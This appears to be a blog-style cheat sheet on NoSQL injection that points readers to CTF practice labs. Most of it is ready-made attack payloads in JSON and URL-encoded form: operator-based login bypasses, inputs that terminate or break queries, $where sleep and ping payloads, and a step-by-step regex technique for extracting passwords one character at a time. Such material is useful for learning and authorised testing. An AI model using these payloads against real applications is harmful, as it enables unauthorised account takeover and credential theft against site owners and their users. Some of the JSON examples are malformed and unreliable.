NoSQL Injection
Think of it like this: Traditional SQL databases use structured query language (SQL), but NoSQL databases use different query methods - often JSON,BSON, JavaScript, or specialized query languages.
NoSQL injection happens when an attacker manipulates these queries by inserting malicious input, just like SQL injection but adapted for NoSQL systems.
Simple Example: Imagine a login form that checks credentials. Instead of sending:
1
2
| username: "admin"
password: "mypassword"
|
An attacker might send:
1
2
| username: {"$ne": null}
password: {"$ne": null}
|
This could bypass authentication because $ne (not equal) means “username is not equal to null” - which is true for all usernames!
Practise Labs Names: If you’re new to this attack flow, spin up a practice machine (for example, Stocker, NodeBlog ON HTB , NosqlInjection on Tryhackme and used the other platform like CTFtime, ROOTme or PicoCTF).
Types of NoSQL Databases NoSQL databases fall into 4 main categories:
- Document Stores:- (Store data as documents (usually JSON-like format))
1
2
3
4
5
6
| {"_id" : ObjectId("xyz"),
"username" : "0xmr",
"first_name" : "0xmr",
"last_name" : "security",
"age" : "10",
"email" : "0xmr@claudai.com" }
|
->MongoDB, CouchDB, Amazon DocumentDB, Firebase Firestore
- Key-Value Stores Simple storage: one key maps to one value (like a giant dictionary).
-> Redis, Amazon DynamoDB
- Column-Family Stores Store data in columns rather than rows (great for analytics).
-> Apache Cassandra, Google Bigtable
- Graph Databases Store relationships between data as nodes and edges.
-> Neo4j, Amazon Neptune, ArangoDB, OrientDB
Attacks Using NoSQL Injection
1
| {"$where": "sleep(50)"}
|
1
| {"$where": "ping -c 1 10.10.11.15"}
|
Information Disclosure :- Leak database structure, field names, or error messages.
Business Logic Bypass :- Attacker can Manupulate the Request to does not enforce the correct sequence of actions, such as skipping steps in a payment process.
Operator’s Used
1
2
3
4
5
6
| $ne not equal
$eq equal to
$regex regular expression
$gt greater than
$lt lower than
$nin not in
|
Detecting Injection
Using this payload if you see the internal server error in the page. It is not confirmed that it’s SQL or NoSQL.
Terminate Query
%0a for Next line.
1
2
3
4
5
| //
%00 <-- null character
'
"
() {} [] some number of closing brackets or braces, in some combination
|
Login Bypass
When you inject the nosql injection payload, the content type is always JSON Like this :- content: application/json
1
| {"email or username":"{\"$ne\":null}","password":"{\"$ne\":null}"}
|
1
| {"email or username":"{"$ne":0xmr}","password":"{"$ne":0xmr}"}
|
if the application, will not filter the content. So we can inject directly.
or
login as normal user
change the parameter according to the website.
1
| user[$ne]=admin&pass[$ne]=admin&remember=on
|
1
| username[$ne]=admin&password[$ne]=admin
|
login as admin user
1
| user[$ne]=0xmr&pass[$ne]=0xmr&remember=on
|
1
| username[$ne]=0xmr&password[$ne]=0xmr
|
Bypass login pages
1
2
3
4
| user[$gt]=&pass[$gt]=&remember=on
user[$regex]=.*&pass[$regex]=.*&remember=on
user[$ne]=admin&pass[$ne]=admin&remember=on
user[$nin][]=admin&pass[$ne]=admin&remember=on
|
HTTP Data
1
2
3
4
| username[$ne]=ipp&password[$ne]=ipp
login[$regex]=a.*&pass[$ne]=wow
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=wow
|
Json Data
1
2
3
4
| {"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "wow"}, "password": {"$ne": "wow"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
|
1
2
3
4
| {
"username":{ "$in": ["admin", "ADMIN", "administrator", "ADMINISTRATOR", "admin123"] },
"password":{ "$ne":"" }
}
|
1
| user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=admin&remember=on
|
1
2
3
4
| {
"username":"administrator",
"password":{ "$ne":"" }
}
|
1
2
3
4
5
6
7
8
| {
"username":"0xmr",
"password":{ "$eq":"0xmr" }
}
{
"username":"0xmr",
"password":{ "$ne":"0xmr" }
}
|
Supply multiple users
1
| user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=admin&remember=on
|
1
| {"user":{"$nin":["admin","pedro","john","secret"]},"pass":{"$ne":"admin"},"remember":"on"}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| {"username": "admin", "password": {"$or": [{"a": "a"}, {"b": "b"}]}}
// In URL format
username=admin&password[$or][0][a]=a&password[$or][1][b]=b
// Using $ne (not equal)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
// Using $gt (greater than)
{"username": {"$gt": ""}, "password": {"$gt": ""}}
// Using $regex (regular expression)
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
|
URL-Encoded Format (for POST requests):
1
2
3
| username[$ne]=null&password[$ne]=null
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*
|
here n is the length of the password.use the caido or Burpsuit get the lenght of password.
1
| user=pedro&pass[$regex]=^.{n}$&remember=on
|
for example
1
| user=pedro&pass[$regex]=^.{5}$&remember=on
|
Put the dots as a lenght of password, here n=5=5 dots. we have to brute the every possible letter of the password.
1
2
3
4
5
6
| user=pedro&pass[$regex]=^.....$&remember=on
user=pedro&pass[$regex]=^c....$&remember=on
user=pedro&pass[$regex]=^co...$&remember=on
user=pedro&pass[$regex]=^coo..$&remember=on
user=pedro&pass[$regex]=^cool.$&remember=on
user=pedro&pass[$regex]=^cool1$&remember=on
|
Automate the process by Python script here.
More thinks Coming soon…